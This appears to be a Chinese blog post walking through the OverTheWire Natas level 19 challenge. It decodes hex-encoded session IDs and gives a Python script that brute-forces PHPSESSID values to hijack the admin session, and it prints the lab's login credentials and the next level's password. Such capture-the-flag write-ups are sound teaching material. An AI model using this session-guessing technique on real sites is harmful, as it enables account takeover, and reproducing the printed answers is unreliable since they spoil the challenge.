Overthewire-natas19

Overthewire level 19 to level20

这题说和之前的代码相似,但会话ID不再连续。为了观察它的规律,我们先登录几次看看

######
username='admin'
password='123456'
PHPSESSID='39342d61646d696e'
######
username='admin'
password='123456'
PHPSESSID='3236322d61646d696e'
######
username='admin'
password='123456'
PHPSESSID='3137382d61646d696e'
######

通过三次登录,我们可以很明显的发现PHPSESSID中有重复的内容2d61646d696e
这段内容映射到ascii上为-admin,基于这个不难破解出第1,2,3次登录分别对应的明文为94-admin,262-admin,178-admin
到这里其实答案已经非常明显了。相对于前面的关卡而言,这关仅仅是把id进行了一次ascii编码映射,我们用同样的规则穷举所有的id即可。破解代码如下

import requests

for i in range(1, 641):
    resp = requests.post('http://natas19.natas.labs.overthewire.org/index.php',
                         auth=('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs'),
                         data={'username': 'admin', 'password': ''},
                         cookies={'PHPSESSID': (str(i) + '-admin').encode().hex()})
    if 'regular user' not in resp.text:
        print(resp.text)
        break
    print("tried", i)

第20关密码为eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

posted @ 2021-05-29 22:21  wudiiv11  阅读(99)  评论(0编辑  收藏  举报